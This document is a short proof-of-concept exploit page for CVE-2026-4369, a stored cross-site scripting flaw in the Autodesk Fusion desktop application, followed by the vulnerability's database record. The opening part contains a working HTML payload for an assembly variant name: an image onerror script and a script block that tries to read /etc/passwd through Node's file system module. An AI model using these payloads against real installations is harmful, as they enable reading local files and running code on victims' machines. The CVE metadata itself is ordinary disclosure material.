CVE-2026-4369

<!-- Malicious HTML payload for Assembly Variant Name --> <img src=x onerror="alert('CVE-2026-4369 XSS Triggered');"> <!-- Advanced payload attempting to read local files (assuming Electron/Node context) --> <script> // Attempt to read a file if Node integration is enabled try { const fs = require('fs'); alert(fs.readFileSync('/etc/passwd').toString()); } catch (e) { console.log('Sandbox escape failed or restricted'); } </script>

{"cve": {"id": "CVE-2026-4369", "sourceIdentifier": "[email protected]", "published": "2026-04-14T15:16:38.943", "lastModified": "2026-04-22T15:12:45.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted HTML payload in an assembly variant name, when displayed during the delete confirmation dialog and clicked by a user, can trigger a Stored Cross-site Scripting (XSS) vulnerability in the Autodesk Fusion desktop application. A malicious actor may leverage this vulnerability to read local files or execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:fusion:*:*:*:*:*:*:*:*", "versionEndExcluding": "2702.1.47", "matchCriteriaId": "04D4CA6B-72DC-47B4-8CD4-9702E5055DF0"}]}]}], "references": [{"url": "https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.dmg", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://dl.appstreaming.autodesk.com/production/installers/Fusion%20Client%20Downloader.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2026-0005", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}